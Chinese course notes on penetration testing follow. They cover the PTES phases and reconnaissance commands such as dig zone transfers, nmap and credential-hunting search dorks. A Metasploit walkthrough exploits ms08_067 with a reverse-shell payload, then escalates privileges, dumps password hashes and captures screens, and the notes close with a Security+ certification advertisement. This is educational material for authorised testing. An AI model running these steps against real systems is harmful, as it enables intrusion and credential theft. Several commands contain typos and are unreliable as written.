1.安全问题的根源
①由于分层思想，导致每个层次的相关人员都只关心自己层次的工作，因此每个人认识系统都是片面的，而安全是全方位的，整体的，所以造成安全问题。
②技术人员追求效率，导致只追求功能实现，而很容易忽略安全性的工作
③由于人都是会犯错误的，因此最大的安全威胁是人，所以无法避免安全隐患，但可以降低安全风险
软件安全生命周期：
需求——>设计——>编码——>测试——>上线——>运维
安全需求——>系统架构——>编码规范——>代码审计——>部署规范——>环境审计
正向思维
逆向思维：渗透测试
渗透测试的意义：
1，安全建设
①周期长
②投入大
③效果难测量
渗透测试：
①从问题出发
②黑客视角
③高效率
渗透测试的目标：达到安全。
安全建设
防护性的安全建设：防守角度，降低攻击面，但防守不全面。
攻击性安全：以黑客思维，攻击手段去探测系统的漏洞，提前修补好。
基于debain的linux发行版本，前身为BackTrack
包括600多个安全工具
用于渗透测试和安全审计
FHS标准目录结构
支持ARM的多平台和手机平台
开源免费
策略
root用户策略（一些工具需要root用户权限去使用）
网络服务策略（默认所有网络服务都是关闭的，所有自动启动脚本都不会执行，但可以使用update rd -d去执行）
更新升级策略（系统由debian维护，工具由kali官网维护）
渗透测试标准PETS（www.pentest-standard.org）
1.前期交互阶段：和客户进行沟通，确定渗透测试范围，方式等
例如：一个应用系统（如一个电商网站），如果一个应用系统太大，则划分为多个小系统
2.情报收集阶段:邮箱地址，DNS服务器等被动信息收集，端口扫描，端口发现等主动信息收集
被动信息收集：渗透者不与目标系统，目标系统人员产生直接联系，而是通过第三方
域名（重要）、邮箱、人员、地址
– nslookup：nslookup -type=ns baidu.com 8.8.8.8
dig：dig @8.8.8.8 baidu.com ns
查询bind版本：dig @8.8.8.8 +noall +answer txt chaosVERSION.BIND @dns.baidu.com
域名传输：dig @dns.baidu.com axfr
注册信息：whois baidu.com（可以搜索到域名服务器ns记录，各个域名对应的IP地址，域名注册者的信息，注册人名字，位置，电话，邮箱等）
综合性工具：
– Fierce：fierce -dnsserver 8.8.8.8 -dnsbaidu.com /usr/share/fierce.hosts.txt
/usr/share/fierce.hosts.txt为本地提供的字典，该命令会根据字典来进行暴力破解该域名的注册信息
– Dnsrecon：dnsrecon -d baidu.com -t std--lifetime 10
-t std:指定搜索类型
--lifetime 10：指定超时时间
搜索引擎
– Shodan：（https://www.shodan.io）：搜索在互联网上存在的设备，通过搜索的信息，发现其中的漏洞
inurl ".php?id"
搜索机架摄像头：intitle :"netbotz appliance""ok"
filetype:xls"username|password"
图片可以查看出metadata，存有拍摄时的gps信息
专属密码字典（根据个人信息生成）
– Cupp（需要去下载，默认不在kali里面）
主动信息收集
域名——>子域名——>IP地址——>通常把IP地址所在的C类地址段扫描一遍——>查看开放端口——>开启的服务信息
nmap使用示例：
环境：靶机：192.168.1.116
nmap -s$ 192.168.1.116 //查看开启的端口及对应的服务
nmap -p21 -sV 192.168.1.116 //查看端口服务版本信息(查看是否是最新版本，如果不是，是否存在漏洞)
因为如果要扫描的网段和端口比较多，最好使用简单脚本去进行自动化扫描
比较有价值的服务端口扫描：
snmp,smb,smtp,web
识别防护机制：
LBD
Wafwoof：造成基于web渗透测试注入失败
Fragroute
Nmap
wafwoof -l//查看wafwoof可以扫描的wafwoof设备
具体扫瞄网站：wafwoof xxxx（网址）
扫描负载均衡设备：
lbd www.baidu.com 80
fragroute：检测目标系统是否使用了一些IPS，IDS防护设备工具
3.威胁建模阶段：分析信息，确定效率最高的渗透攻击途径
从技术黑盒的角度进行威胁建模，结果作为渗透测试报告的一部分提交。
4.漏洞分析阶段：查看服务器软件版本等发现漏洞，编写针对性的漏洞攻击代码
漏洞扫描：（只是漏洞发现，并不知道如何利用）
nessus
openvas
nexpose
nmap
script
kali里面的已知漏洞分析：
已知漏洞利用：
sandi-gui
searchsploit //用于搜索软件是否存在漏洞
metaspolit armitage：（metaspolit图形化前端）
例如： searchsploit vsftp
metaspolit：（M的图标）
msf >use exploit/windows/smb/ms08_067_netapi //利用windows xp的漏洞
msf exploit（ms08_067_netapi）>set payload windows/meterpreter/reverse_tcp //利用载荷，让目标主机被攻击后反向连接到攻击者主机
msf exploit（ms08_067_netapi）>show options //查看需要设置的选项
msf exploit（ms08_067_netapi）>set rhost xxxx(目标ip地址)
msf exploit（ms08_067_netapi）>set lhost xxxx(本地ip地址)
msf exploit（ms08_067_netapi）>exploit（若目标主机存在该漏洞，就可以连上目标）
出现"meterpreter >"就是已经连接上了目标主机meterpreter >getuid 查看登陆账号信息 meterpreter >ps 查看进程
meterpreter >sysinfo 查看系统信息
meterpreter >getpid 查看注入的是利用哪个id
meterpreter >getsystem 提升权限
meterpreter >hashdump 查看本地账户和哈希密码
新建文件把hashdump的内容保存下来，准备做密码破解
meterpreter >screenshot 截屏目标主机桌面
meterpreter >run vnc 查看当前主机活动桌面（实时交互）
web扫描： nikto burpsuite owasp zap sqlmap:针对sql注入漏洞的
bursuite：代理截断式工具
①在浏览器更改代理，改为使用bursuite代理
②等待bursuite截断到客户端在浏览器对服务器的请求，然后保存截断信息到本地文件中
③使用sqlmap查看是否存在sql注入漏洞sqlmap -r burp（文件名） --dbs
5.渗透攻击阶段：往往会碰到一些防护手段，再重新执行2-4步骤，进行渗透测试
6.后渗透测试阶段：进一步渗透攻击，获得更多信息
7.渗透测试报告：如何发现漏洞，漏洞利用，漏洞修复等
项目
渗透测试范围
获得授权
渗透测试方法
是否允许社会工程学
是否允许拒绝服务攻击
扫描器无法排除业务逻辑层面的漏洞，比如用户权限的逾越
该笔记为安全牛课堂学员笔记，想看此课程或者信息安全类干货可以移步到安全牛课堂
Security+认证为什么是互联网+时代最火爆的认证？
牛妹先给大家介绍一下Security+
Security+ 认证是一种中立第三方认证，其发证机构为美国计算机行业协会CompTIA ；是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一，和CISSP偏重信息安全管理相比，Security+ 认证更偏重信息安全技术和操作。
通过该认证证明了您具备网络安全，合规性和操作安全，威胁和漏洞，应用程序、数据和主机安全，访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易，含金量较高，目前已被全球企业和安全专业人士所普遍采纳。
Security+认证如此火爆的原因？
原因一：在所有信息安全认证当中，偏重信息安全技术的认证是空白的， Security+认证正好可以弥补信息安全技术领域的空白 。
目前行业内受认可的信息安全认证主要有CISP和CISSP，但是无论CISP还是CISSP都是偏重信息安全管理的，技术知识讲的宽泛且浅显，考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上，CISP也要求大专学历4年以上工作经验，这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中，无论是找工作还是升职加薪，或是投标时候报人员，认证都是必不可少的，这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍，由于Security+偏重信息安全技术，所以对工作经验没有特别的要求。只要你有IT相关背景，追求进步就可以学习和考试。
原因二： IT运维人员工作与翻身的利器。
在银行、证券、保险、信息通讯等行业，IT运维人员非常多，IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍，死亦写代码”的悲壮，但也有着“锄禾日当午，不如运维苦“的感慨。天天对着电脑和机器，时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识，掌握网络安全实践。职业发展朝着网络安全的方向发展，解决国内信息安全人才的匮乏问题。另外，即使不转型，要做好运维工作，学习安全知识取得安全认证也是必不可少的。
原因三：接地气、国际范儿、考试方便、费用适中！
CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。
在目前的信息安全大潮之下，人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的，相信Security+认证一定会成为最火爆的信息安全认证